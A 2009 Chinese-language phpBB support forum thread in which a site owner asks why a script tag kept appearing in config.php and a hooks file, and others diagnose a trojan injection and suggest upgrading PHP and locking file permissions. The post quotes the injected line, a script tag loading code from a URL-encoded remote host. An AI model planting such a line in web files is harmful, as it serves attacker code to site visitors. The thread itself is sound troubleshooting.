第 1 頁 (共 1 頁)
部分檔案出現奇怪代碼
發表於 : 2009-05-17 18:04
由 StandardGr
今天凌晨約三點多時網站首頁上頭出現了幾行 Debug 的訊息，然後首頁整個亂成一團
主要就是在 /includes/session.php 裡第 942 行出現問題
代碼: 選擇全部
header('Set-Cookie: ' . $name_data . (($cookietime) ? '; expires=' . $expire : '') . '; path=' . $config['cookie_path'] . $domain . ((!$config['cookie_secure']) ? '' : '; secure') . '; HttpOnly', false);
}
出問題的檔案為
/config.php 與
/includes/hooks/index.php
其中 /config.php 在第 17 行原本是『?>』結束，卻變成以下
代碼: 選擇全部
?><script src=http://%77%76%67%34%2E%63%6E></script>
而 /includes/hooks/index.php 也在第 250 行的『?>』後面被加入了上述的 script
剛剛手動去除這兩個錯誤時，首頁看起來就算是正常了(尚未再發現錯誤)
請問這是什麼樣的原因會突然產生那個 script 呢？
因為先前也因為站上的檔案老是會自動產生奇怪的代碼讓首頁整個空白
感謝您熱心的答覆，謝謝你
Re: 部分檔案出現奇怪代碼
發表於 : 2009-05-17 20:28
由 小竹子
看起來像是被植入木馬，請問你的空間是付費還是免費？ PHP 的版本是 5.X 嗎？
Re: 部分檔案出現奇怪代碼
發表於 : 2009-05-17 22:29
由 StandardGr
是付費空間的：
http://www.bobi.com.tw/index.ASP
ＰＨＰ版本為：4.3.11
討論區版本為：3.0.2
Re: 部分檔案出現奇怪代碼
發表於 : 2009-05-17 22:36
由 小竹子
PHP 的版本太舊了..建議請主機商升級到 PHP 5.X
Re: 部分檔案出現奇怪代碼
發表於 : 2009-05-17 22:39
由 心靈捕手
建議您:
1. 請求付費空間升級 PHP 為 5.X 版.
2. 將 config.php 的權限設為 "唯讀".
參考連結:
http://phpbb-tw.net/phpbb/viewtopic.php ... 76#p271276
Re: 部分檔案出現奇怪代碼
發表於 : 2009-05-17 22:49
由 StandardGr
好，我再連絡廠商看看
至於 config 的屬性它好像無法更改的樣子
更動後出現
非常感謝二位的指導！
